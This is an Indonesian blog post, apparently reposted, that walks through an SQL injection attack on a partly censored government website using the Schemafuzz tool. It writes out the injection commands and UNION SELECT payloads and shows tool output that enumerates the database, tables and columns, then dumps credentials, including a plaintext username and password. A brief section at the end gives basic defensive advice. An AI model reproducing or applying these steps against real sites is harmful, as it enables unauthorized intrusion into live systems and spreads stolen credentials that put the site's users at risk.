Tutorial Hacking SQL Injeck dengan Schemafuzz

Posted by Android On Rabu, 23 Juni 2010 0 komentar
 Oke kali ini adalah tutorial deface yang saya dapatkan dari sekurity online... sebenarnya saya belum mencoba ini jadi saya hanya akan menshare apa yang saya dapatkan

saya akan menjelaskan teknik hacking SQL Injeck dengan menggunakan Schemafuzz.
Schemafuzz adalah script hacking pemmogramman python, yang saya ambil di forum darkc0de. Di schemafuzz ini kita di mu-
dahkan untuk tester site / web, hanya dengan modal menguasai command atau perintahnya, kita bisa melihat isi database
pada site tersebut, tapi disini saya tidak mengajarkan kalian untuk melakukan tindak kejahatan atau kriminal pada site
disini saya hanya mau kalian menjadi baik dalam menggunakan ilmu pengetahuan. Karena hacking itu baik. Kayaknya cukup
deh saran saya untuk melakukan dengan bijak teknik hacking ini. Sekarang kita masuk dalam pokok pembahasan.


II. LANGKAH-LANGKAH AWAL
------------------------

1.  Download Python : http://www.python.org/download/

2.  Download Schemafuzz : http://www.kitaupload.com/download.php?file=581schemafuzz.py

3.  Sini saya mendapatkan site government, dengan segala kurang hormat site ini saya sensor, dengan alasan rasa kasihan
    pada admin web, Xixixxixi. Contoh disini kita mendapatkan bug SQL pada www.min****.go.id

4.  www.min***.go.id/news_show.php?id=1' [SQLi]




III. PEMBAHASAN
---------------

5.  Buka CMD trus cari lokasi Schemafuzz.py
    Contoh disini lokasi Schemafuzz.py saya ada di drive C:/

6.  Sekarang kita ketik pada command
    C:\>schemafuzz.py -u "http://www.min****.go.id/news_show.php?id=1" --findcol
    dan tampillah

|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com                                v5.0   |
|   6/2008      schemafuzz.py                                   |
|      -MySQL v5+ Information_schema Database Enumeration       |
|      -MySQL v4+ Data Extractor                                |
|      -MySQL v4+ Table & Column Fuzzer                         |
| Usage: schemafuzz.py [options]                                |
|                      -h help                    darkc0de.com  |
|---------------------------------------------------------------|

[+] URL:http://www.min****.go.id/news_show.php?id=1--
[+] Evasion Used: "+" "--"
[+] 15:00:20
[+] Proxy Not Given
[+] Attempting To find the number of columns...
[+] Testing: 0,1,2,3,4,5,
[+] Column Length is: 6
[+] Found null column at column #: 1
[+] SQLi URL: http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,1,2,3,4,5--
[+] darkc0de URL: http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5
[-] Done!


7.  Sekarang untuk mencari info databasenya dan versi berapa yang dipake atau tabel, kita ketik sebagai berikut
    C:\>schemafuzz.py -u "http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5" --fuzz
    dan akan tampil

|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com                                v5.0   |
|   6/2008      schemafuzz.py                                   |
|      -MySQL v5+ Information_schema Database Enumeration       |
|      -MySQL v4+ Data Extractor                                |
|      -MySQL v4+ Table & Column Fuzzer                         |
| Usage: schemafuzz.py [options]                                |
|                      -h help                    darkc0de.com  |
|---------------------------------------------------------------|

[+] URL:http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5--
[+] Evasion Used: "+" "--"
[+] 15:03:12
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
    Database: min***go_news
    User: min****go_berita@boscgi1101.eigbox.net
    Version: 5.0.51a-log
[+] Number of tables names to be fuzzed: 338
[+] Number of column names to be fuzzed: 249
[+] Searching for tables and columns...

[+] Found a table called: session

[+] Now searching for columns inside table "session"
[!] Found a column called:username
[!] Found a column called:userid
[!] Found a column called:userpassword
[-] Done searching inside table "session" for columns!

[-] [15:28:31]
[-] Total URL Requests 588
[-] Done
  
 
8.  Database: min***go_news
    User: min****go_berita@boscgi1101.eigbox.net
    Version: 5.0.51a-log

    Kita telah lihat database, user, versi SQL dan table. Sekarang kita akan mencari username dan passwordnya
    C:\>http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5-- --dump -D min****go_news -T session -C  username,userpassword
    dan akan tampil
 
|---------------------------------------------------------------|
| rsauron[@]gmail[dot]com                                v5.0   |
|   6/2008      schemafuzz.py                                   |
|      -MySQL v5+ Information_schema Database Enumeration       |
|      -MySQL v4+ Data Extractor                                |
|      -MySQL v4+ Table & Column Fuzzer                         |
| Usage: schemafuzz.py [options]                                |
|                      -h help                    darkc0de.com  |
|---------------------------------------------------------------|

[+] URL:http://www.min****.go.id/news_show.php?id=1+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5--
[+] Evasion Used: "+" "--"
[+] 16:22:07
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration...
    Database: min****go_news
    User: min****go_berita@boscgi1103.eigbox.net
    Version: 5.0.51a-log
[+] Dumping data from database "min****go_news" Table "session"
[+] Column(s) ['username', 'userpassword']
[+] Number of Rows: 2

[0] min****go:am****ng:
[1] ferry:kapitu:kapitu:

[-] [16:22:20]
[-] Total URL Requests 4
[-] Done


9.  Hasilnya ferry:kapitu:kapitu:
    username : ferry
    password : kapitu

10. Saya telah melaporkan bug site tersebut dan mudah-mudahan adminnya lansung ambil tindakan.




IV. PESAN UNTUK ADMIN DAN WEB PROGRAMMER
----------------------------------------

1. Melakukan filter pada bug sql variable
  
   variable $id tidak di filter sama sekali Karena biasanya variabel ini diharapkan berbentuk angka. Tapi tanpa filter seperti itu,
   pengunjung bisa saja memasukkan query tambahan (sql injection).
 

2. Pencegahannya,kita harus Buat agar nilai $id selalu berbentuk angka.
      $id=(int)($_GET[id]);
   echo "id = ".$id;
   ?>

3. Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.

4. Ubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server Security tab.

5. Up to date pada server webnya, xixixixixi




V.PENUTUP
---------

Selesai deh penjelasan singkat saya teknik hacking SQL Injeck dengan menggunakan schemafuzz, tools ini hanyalah altrenative
bukannya saya mengajarkan kalian asik dan terus menerus memakai tools schemafuzz, sekalian kalian belajar bahasa pemogramman
web PHP,ASP,JSP,KSP,Etc. Karena tak selamanya tools bisa menyelesaikan segala cara, tools hanyalah media, yang selanjutnya
otak kita yang bekerja diibaratkan seperi kita sekolah / kuliah menggunakan alat tulis-menulis selanjutnya otaklah yang bekerja
Dengan segala kurang hormat saya minta maaf kalau ada kesalah pahaman dalam tutorial saya.

DITULIS OLEH : http://www.sekuritionline.net

0 komentar:

Posting Komentar